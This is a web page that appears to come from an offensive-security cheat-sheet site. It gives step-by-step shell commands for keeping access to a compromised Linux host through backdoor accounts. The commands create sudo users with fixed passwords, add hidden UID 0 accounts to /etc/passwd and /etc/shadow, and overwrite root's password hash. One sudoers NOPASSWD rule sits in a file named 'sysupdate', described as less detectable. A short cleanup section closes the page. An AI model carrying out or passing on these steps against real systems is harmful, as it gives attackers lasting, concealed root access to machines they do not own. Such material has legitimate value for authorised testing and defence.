Skip to content
HackIndex logo

HackIndex

Linux Backdoor Account Persistence

2 min read Apr 24, 2026

Creating a backdoor account gives persistent access that survives payload restarts, cron removal, and web shell cleanup. A local account with sudo rights or a UID of 0 gives root-equivalent access on every reconnect. Requires root to create privileged accounts.

Create a backdoor user

user@host ~ $ # Add user with home directory
user@host ~ $ useradd -m -s /bin/bash backdoor
user@host ~ $ echo 'backdoor:Password123!' | chpasswd
 
user@host ~ $ # Add to sudo group (Debian/Ubuntu)
user@host ~ $ usermod -aG sudo backdoor
 
user@host ~ $ # Add to wheel group (RHEL/CentOS)
user@host ~ $ usermod -aG wheel backdoor
 
user@host ~ $ # Verify
user@host ~ $ id backdoor 
uid=1001(backdoor) gid=1001(backdoor) groups=1001(backdoor),27(sudo)

UID 0 backdoor

Adding a second account with UID 0 gives it root privileges without it being the actual root account. The account appears as a normal user in ls /home but operates as root.

user@host ~ $ # Add directly to /etc/passwd (UID 0 = root equivalent)
user@host ~ $ echo 'support:x:0:0::/root:/bin/bash' >> /etc/passwd
 
user@host ~ $ # Set password via /etc/shadow
user@host ~ $ # Generate password hash
user@host ~ $ openssl passwd -6 'Password123!'
user@host ~ $ # Output: $6$salt$hash...
 
user@host ~ $ # Add to /etc/shadow
user@host ~ $ echo 'support:$6$salt$hash:19000:0:99999:7:::' >> /etc/shadow
 
user@host ~ $ # Or use useradd with explicit UID
user@host ~ $ useradd -o -u 0 -g 0 -m -s /bin/bash support
user@host ~ $ echo 'support:Password123!' | chpasswd

Passwordless sudo

Adding a NOPASSWD sudo rule for an existing account gives root access without needing to know or set a password. This is less detectable than creating a new account.

user@host ~ $ # Add to sudoers via visudo-safe method
user@host ~ $ echo '$USER ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers
 
user@host ~ $ # Safer — use sudoers.d drop-in
user@host ~ $ echo '$USER ALL=(ALL) NOPASSWD:ALL' > /etc/sudoers.d/sysupdate
user@host ~ $ chmod 440 /etc/sudoers.d/sysupdate
 
user@host ~ $ # Verify
user@host ~ $ sudo -l -U $USER

Modify /etc/passwd directly

On older systems without shadow passwords, or when you have direct file write access, a password hash can be embedded directly in /etc/passwd.

user@host ~ $ # Generate a hash
user@host ~ $ openssl passwd -1 'Password123!'
user@host ~ $ # Output: $1$...
 
user@host ~ $ # Replace the x in existing user's passwd entry
user@host ~ $ # Original: root:x:0:0:root:/root:/bin/bash
user@host ~ $ # Modified: root:$1$hash:0:0:root:/root:/bin/bash
user@host ~ $ sed -i 's/^root:x:/root:$1$YOURHASH:/' /etc/passwd
 
user@host ~ $ # Or add new entry
user@host ~ $ echo 'support:$1$YOURHASH:0:0::/root:/bin/bash' >> /etc/passwd

Cleaning up

user@host ~ $ # Delete user and home directory
user@host ~ $ userdel -r backdoor
user@host ~ $ userdel -r support
 
user@host ~ $ # Remove sudoers entry
user@host ~ $ rm /etc/sudoers.d/sysupdate
user@host ~ $ sed -i '/backdoor/d' /etc/sudoers
 
user@host ~ $ # Remove manual /etc/passwd entries
user@host ~ $ sed -i '/^support:/d' /etc/passwd
user@host ~ $ sed -i '/^support:/d' /etc/shadow